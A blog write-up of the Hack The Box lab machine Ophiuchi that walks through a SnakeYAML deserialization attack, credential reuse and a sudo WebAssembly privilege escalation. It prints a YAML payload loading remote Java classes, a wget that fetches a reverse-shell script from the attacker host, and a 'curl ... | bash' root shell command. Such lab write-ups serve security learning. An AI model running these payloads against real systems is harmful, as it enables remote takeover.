5ubterranean@home:~$

Ophiuchi Writeup [HTB]

Ophiuchi is a Linux based machined that was active since February 13th of 2021 to July 3rd, on this machine we will exploit a Java deserialization problem on snakeyaml to get command execution and access to the machine, then will find some credentials on configuration files of tomcat, finally we will have to compile some rust code to web assembly to be able to execute a go script that will allow us to run any bash script as root finishing with the machine.

Enumeration

We start using masscan to find all the available ports and then use nmap to get more information about them.

masscan -e tun0 --rate=500 -p 0-65535 10.10.10.227
nmap -sC -sV -p 8080,22, -Pn -o scan.txt 10.10.10.227

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
8080/tcp open  http    Apache Tomcat 9.0.38
|_http-title: Parse YAML
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

There is only two ports open, ssh and a webpage hosted on Apache Tomcat, let’ check it.

There we see an online YAML parser, the site is running on Tomcat, hence, Java, and as we know Java is the king of deserialization problems, so after searching for a while for issues on deserializing YAML we get to this blog.

Gaining Access

On that blog is explained the vulnerability and how to exploit it, so first we copy the Java code, fix the issues than come when copying something from medium, and let’s change the payload, notice that “Runtime.getRuntime().exec” only works with absolute path commands, so first we will upload a file with a reverse shell, and then exploit the vulnerability again to execute that file, so our first payload will be /usr/bin/wget 10.10.14.205:8000/shell.sh -O /tmp/justatest.sh, if you don’t want to have problems with Java you have to name the file “exploit.java”, if you want to use another name you have to change the names of the classes inside the file, I did so and call it subte.java, then I ran javac subte.java, and got subte.class, then following the blog we have to create some directories and a file, getting:

javax.script.ScriptEngineFactory, contains “subte.subte” which are the directory and the name of the class file separated by a period, finally we start a http server, don’t forget to put shell.sh on it, and try to parsee the next stuff:

!!javax.script.ScriptEngineManager [
  !!java.net.URLClassLoader [[
    !!java.net.URL ["http://10.10.14.205:8000/"]
  ]]
]

But, even though we get the requests to our server, we get an error page, and our shell isn’t uploaded.

Reviewing the error page we find the cause.

As I said before, names are important in Java if we don’t want to have problems, subte/subte is the location of the file, but not the name of the file, that is just subte, the location of the file is defined on “javax.script.ScriptEngineFactory”, so let’s change it to just “subte”, and move the .class file to the root of the http server, now when we send the request again our shell gets uploaded, finaly we change the payload for /bin/bash /tmp/justatest.sh, generate the class file, replace the one that we used, send again the request and we have a shell inside the machine.

Lateral Movement

Now that we are inside we look for tomcat’s configuration files, the only location we find tomcat is on /opt/tomcat, so we access there and search for any password.

We find the password of admin, whythereisalimit, there is also a user called admin on the machine, and he uses the same password, now we can get through SSH, and retrieve user.txt.

Privilege Escalation

Now that we have access to another user let’s see if we can run anything with sudo.

We see that we can run /opt/wasm-functions/index.go with sudo, so let’s check it and see if we can figure out what it does.

package main

import (
	"fmt"
	wasm "github.com/wasmerio/wasmer-go/wasmer"
	"os/exec"
	"log"
)


func main() {
	bytes, _ := wasm.ReadBytes("main.wasm")

	instance, _ := wasm.NewInstance(bytes)
	defer instance.Close()
	init := instance.Exports["info"]
	result,_ := init()
	f := result.String()
	if (f != "1") {
		fmt.Println("Not ready to deploy")
	} else {
		fmt.Println("Ready to deploy")
		out, err := exec.Command("/bin/sh", "deploy.sh").Output()
		if err != nil {
			log.Fatal(err)
		}
		fmt.Println(string(out))
	}
}

I don’t know go, so I can only guess what is happening, first ir reads a file called main.wasm, then after doing some stuff it export info (probably info is a function inside main.wasm), then it gets a result from it, and if the result is “1”, it executes deploy.sh, searching there are only two files called “main.wasm”, one located at “/opt/wasm-functions/” and another on “/opt/wasm-functions/backup”, so let’s go to those directories and try to execute the script. We get the same output from both, “Not ready to deploy”, so the function isn’t returning 1, and the file is a binary file quite big (1.5 MB), so we can’t just try to edit the hex of the binary to get what we want. On the imports of the script there is a github link, github.com/wasmerio/wasmer-go/wasmer, so let’s go there and try to understand what is going on with the script. There we learn that .wasm files are files compiled to web assembly, and on this case those are writte in rust, here is a simple guide to compile some rust code to web assembly, the code that we need is the next one:

#[no_mangle]
pub fn info() -> i32 {
    1
}

As we saw the go script converts the output to a string, so nothing would happen if we return an int value. Now that we have main.wasm we just need deploy.sh, I go with my usual curl command that retrieves a reverse shell and pipes it to bash, curl 10.10.14.205:8000/shell.sh | bash, with those files in the same directory we can execute the script and we will get a shell as root.